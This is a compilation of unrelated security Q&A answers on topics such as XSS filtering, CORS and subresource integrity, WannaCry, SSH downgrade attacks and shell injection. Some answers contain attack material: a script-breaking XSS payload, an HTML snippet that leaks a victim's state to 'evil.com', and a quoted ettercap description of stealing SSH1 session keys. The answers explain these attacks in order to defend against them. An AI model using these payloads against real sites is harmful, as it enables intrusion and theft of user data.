There is no standard list of test cases here. OWASP’s cheat sheet is a good start. Otherwise, define your threat model and just test against it, as tailored to your application. These are the struggles of security testing (or any kind of testing really I’m afraid). Good testing design requires analysis of the target application, so us out here on the Internet can’t really give a useful answer without knowing your application. Good luck!


XSS - double quote and backslash escaping

In this specific case, if I replace \ with \\ and " with \" is it possible to trick my filter?

That's not sufficient, your filter is insecure.

E.g., one valid XSS attack vector would be </script><svg onload=alert(1)>, ending up with:

<script>
var test = {src: "test", layer: {"input": "</script><svg onload=alert(1)>", "event": "ready"}};
</script>

Since the XML (HTML) tree is parsed before any JS is evaluated, the closing script tag (</script>) will terminate the script despite being placed within a JS string.

Another problem with your filter are line breaks. If an attacker can insert a 0x0a byte, they can break your script by causing a syntax error (since a double quoted string can't span multiple lines):

<script>
var test = {src: "test", layer: {"input": "
", "event": "ready"}};
</script>

If you're using PHP, a convenient filter function to work safely with user input inside JS is json_encode(). From this answer:

  With plain PHP a common and safe approach is to use
  json_encode() as explained here. E.g.:

var foo = <?php echo json_encode($foo, JSON_HEX_QUOT|JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS); ?>

  json_encode() returns the JSON representation of a value, hence it's
  guaranteed to evaulate to a valid object in your JS code and you can
  just assign it to a variable as shown. But don't omit the additional
  flags. Depending on the context, an attacker could otherwise use
  payloads like </script> to break out of the entire script tag.


Trying to identify what a scanner was looking for

The first line is a HTTP response splitting attack, %0d%0a is a CRLF, it is trying to generate 2 responses for the same request: http://en.wikipedia.org/wiki/HTTP_response_splitting

The second line is a path traversal attack like people already mentioned. The characters there are unicode representations of backslash that would make an attack succesful is your site was vulnerable.


How to fix the audit failure in our web server

It looks like you may be victim of either a targetted attack or a simple script kiddie attack. Basicly someone (SAYNAMY - 37.220.1.6) is trying to authenticate with known DB2 administrator username to your server. A RIPE search excerpt follows:

inetnum:        37.220.1.0 - 37.220.1.63
netname:        RSDEDI-OJEJMBME
descr:          Dedicated Server Hosting
country:        GB
remarks:        ABUSE REPORTS: abuse@redstation.com

Important questions:

Are you running DB2 on the affected server?
Can you track other requests from that IP into your network by looking at e.g. firewall logs?

If you want to FIX this issue I would simply block this IP address in the firewall and the audit failure from this IP should not arrive anymore.

To block the IP address on the servers own interface you can use windows command line like this:

netsh advfirewall firewall add rule name=[NAME HERE] dir=out interface=any
action=block remoteip=[IP HERE]/32


I changed the ciper to AECDH-NULL-SHA and now it's connecting.


I think my raspberry was hacked, what should I do?

First at all try to limit the number of devices that you have .
if you want when the attacker got into your device
perform the following command

cat /var/log/auth.log | grep 'Accepted'

check if attacker already added user into your box

cut -d: -f1 /etc/passwd

as well try to use strong passwords ,
btw maybe your ssh services itself is already vulnerable ! so it's not about your password ! if you're using "libssh" as ssh services
there's recently exploit released for authentication bypass
as well it maybe from your other services exposed to the internet


LastPass website requests Master Password when creating the account

I took a look at their page and it would appear that the password is hashed before being sent on to their servers. They do this with JavaScript/jQuery:

// all validation tests passed - create account
$(createaccountbtn).addClass("btn_disabled");
g_username = username.value = username.value.toLowerCase().replace(/\s*/g, "");
g_fixpbkdf2 = 1;
g_local_key = make_lp_key_iterations( username.value, mpw.value, iterations.value );
document.getElementById("hash").value = make_lp_hash_iterations( g_local_key, mpw.value, iterations.value );
mpw.value=document.getElementById("reenterpassword").value="********";

if(typeof(saveKey)!="undefined") saveKey();

var postData = $( lpform ).serializeArray();
var url = $( lpform ).attr("action");

So, if you want some simple end tests: either watch the packets sent with a packet sniffer & you'll see only a hash sent, or disable JavaScript in your browser, and the form submission should fail.

It's essential to look at the included JavaScript of a page when considering form submission, since it's the only way to hash or encrypt values on the client side.


ClamAV is possibly not the correct product to identify php shells. This is because there are endless ways to encode the shell, and it is not tailored to understand PHP code.

There are other technologies that are more tailored to detect malicious php code.
Emphosha is one alternative that understand the php preprocessor, and can raise warning based on functions considered used for obfuscating code + able to detect known shells.


Are Javascript closures a useful technique to limit exposing data to XSS?

The goal here is to keep the token secret, even if an attacker exploits an XSS vulnerability - sort or like emulating the HTTP-only flag for cookies, in other words. I guess the closure would be a function that calls the API for you, using the token for authentication, and then return the result of the API call. In that way, you never have to touch the token.
Using closures would offer only a partial protection for a number of reasons:

There are lots of other powerful things an attacker can do with XSS. Like stealing the victims password through keylogging.
Even if you can't get the token, you can still make calls to the backend with it through the closure. So maybe not permanent access, but temporarey access.
You can probably still steal the token in some clever way.

My best bet would be to add a service worker that proxies any request to the API and picks it out of them. Not sure this is possible, but I would think so.
If the closure allows the caller to specify the URL of the API, just make the calls to evil.com...
The token has to get into the closure somehow. Is it hardcoded into the JS code? Grab it with element.innerHTML on the script tag. If not, steal it before it gets into the closure. This may or may not be possible, depending on the set up and the nature of the XSS vulnerability.

Since the protection is so limited, I would not spend a lot of effort on this. Especially, I would not write convoluted and complicated code just to achieve this. But closures can be a good thing for code quality, so if they fit with your code style by all means do use them.


How to find entry points to physical systems

According to Krebs, the attacker was scanning the Internet looking for a specific vulnerability. Once found, the attacker infected the network.

No physical access required.


What does it mean to have authentication without confidentiality or authentication without encryption?

First I'll have to say that the slides you were getting this information from are not of particularly good quality - to formulate it nicely.

What is called m+H(m+k) in the presentation can actually parsed as a poor attempt at providing symmetric message authentication. If you're not sure how to parse this, the second part is: Basically what is described here on Crypto. While it will be reasonably secure if you use a good hash function as H, it's not a good example on how to really do message authentication, which would be to not bother authenticating alone (rather using GCM or something like that) or to use HMAC, which has much stronger security properties than this construction at minimal overhead.

As for the application, there are TLS ciphersuites doing basically this: Not encrypting the message, but symmetrically authenticating it. The potential use cases are so rare that I can't actually think of any (but apparently there are some or otherwise there wouldn't be any cipher suites). As an abstruse example I could imagine that if a government has banned encryption (i.e. banned all encryption algorithms), this could be the highest security level you can get, it won't hide the message, but it will ensure it hasn't been tampered in transit.

The other function m+E_{eA}(H(m)) exploits the common missconception, that encrypting with the private key is equivalent to signing a digital message. It proposes to "encrypt the hash of the message using the private key eA" to sign the message m.

This actually has many practical applications. The first one is signing contracts, i.e. you want your signature to be authentic but don't care to hide the contents of the message (as is sometimes the case with contracts). Another one would be to authorize bank transactions, i.e. authorize payments of a large amount of money. This is usually only encountered in enterprise level payment. The last really important use-case is certificates. If a trusted party signs m=your_name+your_public_key, it binds this key to you, allowing people to use this key to contact you or to verify your signatures.


I unknowingly visited a hacked site, what are my next steps?

There are a variety of other vectors that can be used, Java and Javascript based ones being the other most common ones, but also images and other vectors.

If you're worried, shut off the computer you're worried about, right now.  Malware can't do anything when it's powered off, whether it's a virus, ransomeware, or anything else.

If you're truly worried, shut off everything on the same network.

Regardless of your worry level, if you share passwords with the hacked site and any other site, change them all immediately from a computer not connected to the one you're worried about.

And after that particular site is up and claiming to be unhacked, change your password there to something long and cryptographically random - don't give that site any hints as to your other passwords.

If you're worried, then run several different offline, bootable/live/livecd/rescue antivirus/antimalware products

Use several because no one product covers everything, but by using several different products, you reduce the uncovered space significantly.  I'd recommend:

at least one of AVG and Avira (or both)
at least one of Dr. Web and Kapersky (preferably both), to get some Russian involvement.
Comodo Rescue Disk (it advertises rootkit scanning, too)
Pick another couple of your favorites.

PCSupport.about.com has a pretty good top 15 list as of Feb 2016
If you're truly worried, do this on every machine on the network.

It won't really take much more time - you can put AVG in one, Avira in another, Kapersky in a third, Dr.Web in a fourth, and then simply move them to the machine on the right when they're done in round-robin fashion.

They're almost certainly going to find tracking cookies - that's normal, and nothing to be concerned about, though I'd always delete them.

After all of this, once you're fully online again

Make sure your OS is patched, and stays patched.
Make sure your antivirus is patched and up to date, and stays that way
Make sure your firewall is patched and up to date.

Consider something a serious like pfSense, which is legally free software, and can run on an old computer with a couple of network cards, a small, low power fitlet PC, a pfSense store device, or other machines as your firewall.

And then look at the Snort or Suricata plugins for IDS/IPS funcitonality, which have a great chance of blocking threats as they're coming in.

Note that these packages require quite a bit of tuning to balance protection and convenient usability, they are NOT plug and play.  They are, however, very powerful.

Make sure your browsers are patched, and stay patched
For Firefox in particular, try the following addons:

Noscript
Policeman

This plug allows you to choose specific content types (images, scripts, etc.) to be allow only from site A to site B, specifically, though it does allow more and less specificity for each site.


There are clearly 2 different lines of defense here.

First, highly sensitive data (secrets, typically passwords) should never be logged to avoid compromise through logs.

But the more an attacker knows about a system, the higher the risk to build/use a targetted attack. For example software versions are not highly sensitive and can reasonably feed a log, but they can help in choosing an attack vector.

So the second line of defense is that someone that does not need access to the logs should not be able to read them. That is a direct application of the least privilege rule.

It is common to provide log access to the dev/maintenance team, but you should evaluate the risk/gain ratio, according to your access security tools. The most secure system is the one that cannot be accessed by any user, but its useability is very low too...


Certainly the domain name is correct. That is the generic login page for all Microsoft Online services. You might not always see it depending on how you normally log in.

The nature of the login service means that it takes a noticeable time after you enter your ID before you can enter your passcode. Sometimes this can be several seconds. What is happening is that the login service checks your ID against its master list and works out whether it is a Microsoft account (such as business partner or live.com/outlook.com) or an enterprise tenant account. When it works it out, it may actually change the look of the login page (for example, we have a customised login page for Office 365).

As to the problems with your PC. Hard to say. Certainly you should run a couple of malware checkers to see if they find any issues though I have to say, those kinds of problems are more normally associated with hardware issues, particularly drive errors.


Declaring "this is data, not code" to protect against injection attacks. What's the word for that?

I believe the term you are looking for is input validation and sanitization. It is general enough to apply across multiple variations of the attack as you mentioned above and more. It would also include preventing attacks such as buffer overflows by preventing the attempted execution of code with an input that exceeds the designed limits.

EDIT - to add notes according to more specific scope

In the specific use cases presented, you are addressing the Web based attacks and are more concerned with telling the client what is data and what is code. Using this specific example, we'll dig into the HTTP protocol a bit to show what protections exists for clients and servers specific to this type of communication. The terms may vary across other protocols, but I can't possibly be expected to write about every protocol's communication in a short answer.

The best place to start with HTTP is HTML - Hyper Text Markup Language. HTML is the basis for data communication from a server to a web browser on a client. The client has a set of libraries which allow it to properly interpret the data received and take action according to the pre-programmed logic. By default, all data received is treated as data unless explicitly stated as code. In HTML that is accomplished with a script block and it's where all client side scripting takes place.

Now, this can be a concern in the event that a malicious actor finds a way to inject an ad or modify server code to serve additional  blocks into the data stream that were not originally intended for the user to use. This is where injection attacks begin to take their place and need to be mitigated by both the client and the server.

On the client end, the client needs to ensure it maintains the latest updates and looks for flaws with any scriptable components within a HTTP session. Flash updates, the recent JavaScript zero day, and many other components demonstrate that the logic that supports client interpretation of server sent data is done properly. It's also important that the client prevent any type of attacks which allow the attacker to use a browser to exfiltrate data from the user's machine back to a remote server.

On the server end, the server must ensure that all requests are handled properly including the receipt of data either from GET or POST transactions. Failure to do so can allow an attacker to impact services or embed code into a previously benign web page. Data handling/input sanitization is the key here.

So the answer probably is "there isn't a set term" but it's because transactions are assumed to be data unless the markup language indicates otherwise. This is why clients can shutoff java script and still browse web pages. They receive all the same data (barring AJAX calls of course), but they don't interpret the data as code since the engine has been removed.


Using SSL (e.g. storing private keys) in SAAS / managed applications

Is HSM an option?

CloudHSM: AWS will try to sell you "CloudHSM" for this: https://aws.amazon.com/cloudhsm/ -- I think you pretty much have to take their word (legally enforceable contract or something) for it when they say that it's an actually HSM on real hardware with no back door.

Keyless SSL: CloudFlare offers something called "Keyless SSL" where you host the HSM in house. https://www.cloudflare.com/ssl/keyless-ssl/

I know that I still have to believe that the authority chain is not compromised (vs PGP/distributed processes).

If your server box is taken over (either by physical access or otherwise) then the hackers also have your SSL private keys. Unless they are in a Hardware Security Module (HSM). From which they are hard/impossible to extract. (Even with physical access, a large budget and lots of time.)


The HTTP GET method should be never be used to transmit sensitive information such as credentials.

I do not see why the HTTP GET method is easier than using the HTTP POST method, see the difference in code below.

I suggest to create an API that handles the authentication and communication to the back-end server.

Since you mentioned you're going to use PHP, have a look at this API framework: http://www.slimframework.com/

Theoretically the parameters in the URL will not show up in log files since you're using HTTPS. However, there are for example, corporate proxies that perform man in the middle attacks to inspect all traffic.

In these cases, the credentials will show up in the proxy logs and this is considered a bad practice.

Here's some PHP code (which requires sanitation):

<?php

  $username = $_GET['username'];
  $password = $_GET['password'];

?>

This example is wrong because:

Sensitive Information is transmitted in the URL
No input validation has been done

This example is a little better, but still requires you to perform input validation:

<?php

  $username = $_POST['username'];
  $password = $_POST['password'];

?>

That's the different usage between the HTTP GET and HTTP POST method using PHP (and of course your form method should be set to POST in stead of GET as well).


Windows command line does not check for revoked certificates: How bad is it?

I highly doubt the terminal is looking for revoked certificates. Which I imagine isn't a job of the terminal itself but UAC. But I can say this is expected behavior. You elevated the permissions of the terminal as admin. And it will run everything as admin by design. This includes elevating the child processes.

As far as bad it is no different then tricking someone into running an executable. For example someone could need help in a support form. And a malicious user could post a file with instructions to run it via an administrative terminal. The only things stopping the attack is if the prospective victim is smart enough not to do it. Or don't want to deal with the terminal. Chances are, if they are going to fall for it, the attacker is better off talking them into bypassing this through the UI anyways.

Changing this default behavior just isn't going to happen. Otherwise this would interrupt silent batch/shell jobs that rely on child/external processes. So if such a thing was to be patched you would need to give them a way to bypass the UAC. And a hacker would have the exact same access to that bypass method just adding another step of complication for a moot cause. Not only that, but what if the file wasn't malicious at all and you absolutely needed some way to run it.

Ultimately you had to elevate the the privileges to admin to make this work. You willingly did this with no automation and a prompt explaining what this elevation was going to do. Doing so you made your choice to waive any protection beyond this point.


What are best practices for keeping up to date Linux servers?

Your problem here is that you are looking at Linux management as it was Windows management.

In Linux, all distros have repositories of packages that handle the versions of the software available to that specific distro. You can look at these repositories as a WSUS, but it's not something that you manage but someone else does.

Depending of the package manager the distro uses, you have different ways of staying up to date. Odds are that you are either using a Debian-based, a RedHat-based distro or OpenSUSE/SUSE, so the commands are:

apt-get update && apt-get upgrade for Debian.
yum update for RedHat.
zipper update for OpenSUSE and SUSE.

If by similar to WSUS you mean for local central updates, you can mirror the repositories of the distro you are using and set it up. For example, in this link you have info for RedHat.

PS: never run the upgrade variants of the commands above unless you really want to. Upgrade will update important things of the core of the server that you may not be ready to handle, like kernel, important libs, etc.


How can Flash detect my IP address even when I am behind a proxy?

It's because flash doesn't actually care for your proxy preferences. You can change that in your flash player settings, but even then, flash applications can choose to try to connect directly and ignore your proxy settings. A proxy is nothing more than a "suggestion" to a program. It is up to the programs to actually follow those settings, or ignore them. A webbrowser doing HTTP by itself will probably honor your proxy settings, but technologies outside, or "next to" the browser (like plugins and WebRTC) may simply do whatever it wants.


Is the new HP printer vulnerability only relevant for network printers?

As it seems there are a few bugs causing a remote code execution vulnerability. That kind of vulnerability would be able for your printer, because your printer is connected to your computer which is connected to a internet connection. I would recommand you to install the patches they'll release next week, cause they fix some other bugs, too. Don't be worry, I guess you have a antivirus software running on your computer, so the vulnerability is unlikely to bother you.


Anti-bot JavaScript library identification

This anti-bot library belongs to Akamai.
Clients execute the javascript and post to /_bm/data on a site behind the Akamai CDN. The CDN's bot manager (bm) then makes decisions based on the submitted data such as slowing down responses to suspected bot clients, or downright returning 403s.
The abck cookie is returned upon submission to the /_bm/data endpoint.
You can read more about it here <=
edit: this anti-bot library was written by Cyberfend which was purchased by Akamai in 2016


External HDD safety without Full disc encryption

Besides installing a Truecrypt file on windows disk (Truecrypt can create a file and encrypt files in there, not just the full disk) , you can look into normal windows Bitlocker encryption.
It should run on every windows version since XP (read-only there though) and prompt a password when you connect the disk, and is the easiest solution for most users.

Disk wear is not an issue, even on SSD, there is only 1 extra read/write cycle on top of normal usage (the actual encryption). If this is enough to wear your disks out, you're better off asking for new disks here :)


Will ransomware reach an air-gapped computer?

I assume you mean with an air-gapped system that it has no network connection but that it is still possible that the system get infected, for example using an infected USB drive as in the Stuxnet attack.

While most ransomware requires a network connection to communicate with the command and control server there are variants which don't require it. Such case is described in Avira: Locky goes offline (by design). In this specific case the public key used to encrypt the randomly generated encryption keys is contained in the ransomware itself instead of getting it from the C&C server. The files are encrypted and the user presented with the usual prompt which asks for payment and presents a reference number. It is the problem of the user then how to get the decryption key to the air-gapped system.


Ping Input box on web server vulnerable to piped commands?

If the command shell is running as root and User supplied input is not properly validated then it will execute whatever command you will pass  to the shell. I think there will be proper validation of the inputs passed by the users. Like when a user will enter the IPv4 address then it will be combination of integers and dots and for IPv6 it will be integer and : . So when the user will pass the value then definitely it will be validated before passing it to shell using variable.


Google's view of a web page is corrupted

As mentioned in the comments, try this command to see if the malware is not returning different content to browsers and bots (just use your own URL):

curl -H 'User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' \
  -H Pragma:no-cache \
  https://httpbin.org/user-agent

And the attack may have targeted Google for a number of reasons:

turn your page into a SEO backlink farm
attract traffic from specific user agents only (e.g. mobile browsers) and only show infected HTML to them

This also might not be an infection at all, these symptoms could be present in the following cases:

broken virtual host configuration on your web server - e.g. different page returned when accessing it through www.example.com and example.com because on of them is not configured explicitly to return your page and returns a default web server contents, which happens to be someone else's website (e.g. on shared server)
broken DNS configuration, resulting in Google bot speaking to a different server than you think it's speaking to

You might try to use some cloud-based web site scanners  to see how your website is rendered from the outside world - e.g. scan it on WebCookies.org and see if the title and description matches your website.


Despite the downvotes this is actually a valuable question.
WannaCry does not play well with the system proxy settings, so if you use a proxy, you will need to do this to activate the killswitch.

  I did test the sample, it is not proxy aware. In an environment with an HTTP proxy and no direct connections to the Internet, the sample can not connect to the killswitch domain and it will infect the host.
  https://blog.didierstevens.com/2017/05/13/quickpost-wcry-killswitch-check-is-not-proxy-aware/

So on to your question

  if in some kind of network, the firewall or some kind of piece of Hardware/Software that is between you and the Internet redirects the traffic to a local server if the remote Server is not reachable, would the (first) WannaCry never go active?

Yeah that would do the trick. If the executable can reach iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com, it will halt execution and not spread further.


Two-party symmetric key establishment protocol

This might be better suited to Cryptography.stackexchange; you're violating a major rule of crypto here (don't roll your own! It applies to authentication and key exchange schemes just as much as to everything else) and that's where I'd go if I wanted amateur advice on cryptographic scheme design.

With that said, while I don't personally see any vulnerabilities in your scheme, I suspect you're reinventing the wheel a bit. I think you ought to do a lot more looking around for alternatives.

For example, Steffen Ullrich already mentioned TLS-PSK, which in addition to handling authentication and key exchange, also takes care of message integrity and authentication, session resumption, and all that good stuff. One of the dangers in designing your own cryptographic algorithm or protocol is that even if you get the "hard" part of it right, you end up needing to write other stuff (such as the actual message-handling) yourself as well, and that's a lot of opportunities to mess up the implementation or miss an important protection.

Another protocol that does what you want is SRP (Secure Remote Password), which is designed to prove to two endpoints (client and server, in your scenario) that both know the same password/key over an insecure network without ever exposing the key, and which produces a value usable as a temporary session key if the exchange succeeds. This protocol could be used by itself, but it would probably make more sense to use TLS-SRP, which uses SRP for mutual authentication and key exchange.


What attacks are mitigated by requiring CORS for subresource integrity verification?

The attack

I think the attack they are trying to protect against is the following.

Imagine santaclause.com serves an image at santaclause.com/naughty_or_nice.png to logged in users. The image is a green checkmark if the logged in user has been nice, and a red X if they have been naughty. Mallory wants to know if Alice has been nice or not. So on evil.com he sets up the following on a page and sends the link to Alice, who clicks it.

<img src="santaclause.com/naughty_or_nice.png"
     integrity="sha256-{hash of nice image}"
     onload="document.location='http://evil.com?log=nice';"
     onerror="document.location='http://evil.com?log=naughty';"
>

When Alice views the page, the browser will send her session cookies to santaclause.com, which will respond with the nice image if she has been nice. The onload event will fire, and Mallory logs that she has been nice on evil.com. On the other hand, if she has been naughty the integrity check will fail and Mallory therefore knows that Alice has been naughty.

Because of the spec, this attack will fail. Since santaclause.com has not "explicitly granted access to the loading origin via CORS" the browser will not make the integrity check, and load the image even if the hash is wrong, thereby always firing the onload event and never the onerror event.

Without this detail in the spec, an attacker would gain the ability to make cross origin requests with the victim's credentials and get answers to questions of the kind "Was this the response?". While not as bad as being able to just read the response, it still allows the attacker to brute force what the response is if it comes from a small enough set of possible values.

Why it is not nonsensical

  My reading of "read data cross-origin by brute-forcing values" suggests it's an attack against the server.

I'd say that the above is an attack on the user, not the server (even though the server is obviously involved).

  A non-browser user agent can always fetch from a server without CORS.

Yes, but how does Mallory fool Alice into following the link in a non browser user agent?

  I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

If you embed sensitive information in JS or CSS without CSRF protection you will expose it to cross origin attacks, yes. The specs have never pretended to protect against that.

However, they have claimed to protect against the same in images or JSON, and therefore must try to continue to do that even when new features are added.

  [...] that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on  and , but omitting the crossorigin attribute altogether is not.

As SilverlightFox points out in his answer, even anonymous requests can return sensitive information, e.g. if IP is used to return different content to different users. So sites should not be allowed to read the results of cross domain requests even if they do not contain any authentication headers.

  [...]then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

Yes, a site can infer information about the content of cross origin requests for stylesheets and JavaScript (thats why JSONP works, by the way). This is well known, and the specs have never pretended to protect against it.

If you expand this to allowing integrity checks for anynomous cross origin request, you expand that ability to work for all sorts of resources - JSON, XML, images etc, and not just JS and CSS.

Why? Because to infer any information about the content of a JS file it needs to actually execute, so it needs to be JS. If you include e.g. an XML file in a script tag all you get is a syntax error. But you could easily include an XML file with a script tag, slap an integrity attribute to it, and then learn about its content by checking if it loads or not.


Can my GSM network operator figure out the name of the Wi-Fi access point I am connected to?

Is it realistic? Yes and no.

UPDATE Does your mobile phone automatically tell your mobile operator the name of your wi-fi access point? no.

TL;DR you most likely have a smart phone with several apps installed, and chances are that several of those apps already "phone home" in the clear lots of information about you, including your wi-fi access point name. So a mobile operator would just have to sniff your traffic and you won't even notice.

That said, as 99% of the movies out there, technical realism is missing and if there is any left it's grossly over-simplified to move on with the plot. See for example this XKCD comic:

Furthermore, your mobile operator can push content to your phone. Non-smartphones can receive instructions to turn on their microphones and become bugs. Smartphones, on the other hand, have many more vulnerabilities as you might be already aware. Often a smartphone comes with a bunch of pre-installed apps from the manufacturer, and planned obsolescence pretty much guarantees that old models "re-branded" will not receive any security updates after a short lifetime, in the hope that you (the customer) will just buy a new phone. The margins for a phone manufacturer are so low that it's not worth pushing it.

Now, once your phone is pwned it would be trivial to execute code to determine the wi-fi access point you're connected to.

I haven't provided any links here on purpose: see if you can find more information on this for yourself. It will be a learning experience.


Are shell scripts / bash inherently less secure than other (script) languages such as python?

Short version:

Shell scripts require more caution with untrusted input; there are inherent dangers.
Shell scripts are not general purpose languages, and are probably unsuited for "parsing untrusted data over networks"
All that said, shell scripts can do amazing amounts of things, and can do it securely with enough care.  Should is a different matter, and left to the coder to determine...

Long version:

See the "Injection Attacks" section of this Shell Scripting Primer.  Because data is often passed via variables and to command lines, and because command lines do globbing and parsing in ways which were designed to be powerful but trusted the user, extra care needs to be taken in shell scripts (as opposed to general-purpose languages which more carefully separate variables from process execution).

Consider this script:

#!/bin/bash
echo -n "String: "
read BADE
echo $BADE

And watch me run it:

$ ./foo.sh
String: hello
hello
$ ./foo.sh
String: -n hello
hello$

Notice that in the second execution of foo.sh, the "-n" that I entered as part of the user input string is treated as a command line argument by the echo command.  As a result, there's no newline between "hello" and the "$" prompt, as there was in the first execution of foo.sh.

While it's possible to sanitize user input, doing so in bash means using tools which may be vulnerable to this sort of manipulation (consider 'echo $INPUT | tr -d ...').  In general, the fact that bash is not a general purpose language means that doing anything usually requires other programs to be invoked, and you can't think about the security of bash alone, but also the security of all the programs it's calling.

In bash, those subprogram calling interfaces are parsed rather than programatically defined.  In most general-purpose programming languages, there's a clearer distinction between data and code.  Strings passed to functions are passed as a string, not as a series of tokens which are parsed for potential function variables before being treated as data.  So, yes, bash is "less advisable for some tasks such as parsing untrusted data over networks".

"Inherently less secure" is not a phrase that I think should be used.  Every programming language on the face of the earth has strong points and weak points.  If I'm programming in C, I need to be very careful about memory allocation and boundaries, because the language isn't.  In Bash, memory allocation and boundaries are handled for me, but I need to worry about data and command channels being easily mingled.  And this interview with Guido van Rossum shows how with Python the interpreter has been subject to vetting for security issues and when asked "when 'enough is enough' in terms of hardening the interpreter" responded "That's not really how we approach it.  We realize that security is an ongoing effort..."

This sort of question is always difficult because it's subjective.  If you're a bash expert, should you write in Python, which you might not know?  Or will your knowledge of how bash works help you avoid the pitfalls?  And your answer is going to be different than his, than hers, than anybody else reading this.  There's people out there that have written amazing network servers in bash, no doubt; it's possible, so never say it can't be done.

The objective truth is: know your languages, and know their strengths and weaknesses, and choose the right one for the job.  And try to continually learn how to do so securely because "security is an ongoing effort."


There is an anti ClickJacking HTTP header you can add to your responses.

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://example.com/

Deny will stop the content loading into a frame, iframe or object, Same Origin will allow loading into pages on the same domain, 'Allow From' allows you to specify URIs that may frame your content.

The browser implements support for this, so there is a reliance on the user using a browser that complies with the header, though major browsers have supported this for a while- support is in place for IE11, Edge14 and Chrome 49.

You should configure your webserver to  add this HTTP header to responses

You can also use frame ancestors if you are using a Content Security Policy.


Secret salts; why do they slow down attacker more than they do me?

This would probably be explained in the auditory lecture that these slides accompany.

My guess is that he's calculating this assuming that users generally enter their correct passwords. You only need to cycle through options for r until you find one that produces a correct hash.

If you've been given the correct password, then you will come across an r that produces a correct hash; when exactly this happens will vary (since it's random), but on average you'll go through half the total options (2**8 = 256, 256/2 = 128) before finding it.

However, the attacker will usually be trying incorrect passwords. This means they'll have to try every single option of r, which is the full 256.


Why does Cain and Abel downgrade SSH version 2 to v 1.51?

SSH-2 is a complete rewrite of SSH-1, as SSH-1 has inherent design flaws like client authentication forwarding and packet injection. Ironically, the detection of the latter was implemented in a way that allowed executing code with the privileges of the daemon. Ettercap can utilize the design flaws in MitM-attacks by stealing the session key and decrypting all the traffic.

SSH1 MAN-IN-THE-MIDDLE
When the connection starts (remember that we are the
master-of-packets, all  packets go through ettercap) we substitute the
server public key with one  generated on the fly and save it in a list
so we can remember that this  server has been poisoned before.
Then
the client send the packet containing the session key ciphered with
our key, so we are able to decipher it and sniff the real 3DES session
key.  Now we encrypt the packet with the correct server public key and
forward it  to the SSH daemon.  The connection is established
normally, but we have the session key !!  Now we can decrypt all the
traffic and sit down watching the stream !
The connection will remain
active even if we exit from ettercap, because  ettercap doesn't proxy
it (like dsniff). After the exchange of the keys,  ettercap is only a
spectator... ;)

SSH-2 provides strong cryptographic integrity checks, Diffie-Hellman key agreement and support for public-key certificates. The communication protocol must be downgraded to avoid those improvements.


You can prevent replay attacks in JWT by specifying the following claims in your JWT: jti (unique identifier), exp (expiration time) and iat (creation time). The JWT spec clearly states that jti claim can be used to prevent a JWT token to be replayed. From the spec:

  The "jti" (JWT ID) claim provides a unique identifier for the JWT.
     The identifier value MUST be assigned in a manner that ensures that
     there is a negligible probability that the same value will be
     accidentally assigned to a different data object; if the application
     uses multiple issuers, collisions MUST be prevented among values
     produced by different issuers as well.  The "jti" claim can be used
     to prevent the JWT from being replayed.  The "jti" value is a case-
     sensitive string.  Use of this claim is OPTIONAL.


If you use Google Play Store, yes they still can track you. But there is a next step in your privacy improvement! :)

Don't use GApps (Google Apps). Actually don't use any google account on your phone. You need to instal some custom (open-source) ROM for your Android device (e.g. LineageOS). You'll need a root access.
Then install firewall frontend (e.g. AFWall+). When you activate it in white-list mode, it will block network access to all applications. You can easily select applications which you allow internet access (only trusted (read F-Droid) apps like K9, Firefox Focus, OSMAnd etc.). In this way applications from Play Store won't have internet access.
Install Yalp Store. Whit Yalp you can download and install PlayStore apps WITHOUT Google account. There are many other applications with the same purpose. You also have many sites for downloading APK files like APK Pure but use this sites only if you trust them ;)

The point is: you can use your phone without Google services, and you can use applications from PlayStore and you can even block internet access for that kind of apps that you don't know if they are stealing your personal data.

Hope you'll enjoy doing this!


PLease check this issue: https://github.com/byt3bl33d3r/MITMf/issues/280

MITMF use BDProxy to patch files, but it only works with non-ssl connections. Can you check if you are trying to download a file via HTTPS?

Check documentation for more information: https://github.com/secretsquirrel/BDFProxy.


Application/Octed-Stream header for XML file

that MIME ("Application/Octet-Stream"), used with the Content-Disposition header, simply makes sure that browsers download the url instead of displaying it in the browser. There should not be any security implications of such a configuration. If you want to be able to view the URL online in the browser you can change it's type to "text/xml" or "application/xml".


How can I identify open DNS resolvers in my network?

An Open DNS server is one that answers DNS requests from anyone for anything. As a general rule, the DNS servers you run should only respond to the requests you want them to.

In a typical organisation, for example, you want machines inside your network, such as your laptop to be able to resolve anything, and machine outside your network to only be able to resolve your public facing services, such as your web server and inbound mail. Of course, your organisation might not be typical.

To identify if your DNS servers are responding to requests you don't want them to, make such requests and see what happens! Using a machine outside your network, point a copy of dig at your resolvers, and try querying things.

To secure your DNS servers, consult the documentation for your particular brand of DNS server, and configure them to do what you want.


Can you store sensitive app config vars in the environment and be PCI compliant?

The DB URL (other than username and password) and Pepper aren't sensitive values.  You may not want to advertise them, but you should assume they are known anyway.  If your security is dependent on them being secure, then you are almost certainly not PCI compliant.  Any "security" that that secrecy provides is just security by obscurity.

The DB should be inaccessible other than from your web servers and your pepper only exists to make hashing more difficult.  I don't see why these particular values being accessible to the environment would be a problem since they aren't secret anyway.

The main possible problem would be that your DB credentials are kind of flying in the wind, but there isn't really too much a way around having to store it somewhere.  You should try to restrict the access to the configuration data including the username and password for the DB as much as possible, but unless you go pretty elaborate, it has to be in a file somewhere.  Make it as inaccessible as possible and make sure that only the systems that need access to the DB server have access and your risk is limited.

I'll let someone else speak up on the username and password specifically though as it has been a little while since I last had to deal with PCI-DSS and I don't particularly trust my memory or have time to look up the specifics at the moment.


Each vulnerability has a specific cause, which in turn leads to ways of exploiting the vulnerability. It is hard to understand how one can exploit something abstract and gain some abstract results, but it is way easier to understand when illustrated with examples. The simplest would be the classical stack-based buffer overflow:

void f(const char *str) {
  char buf[10];
  strcpy(buf, str);
}

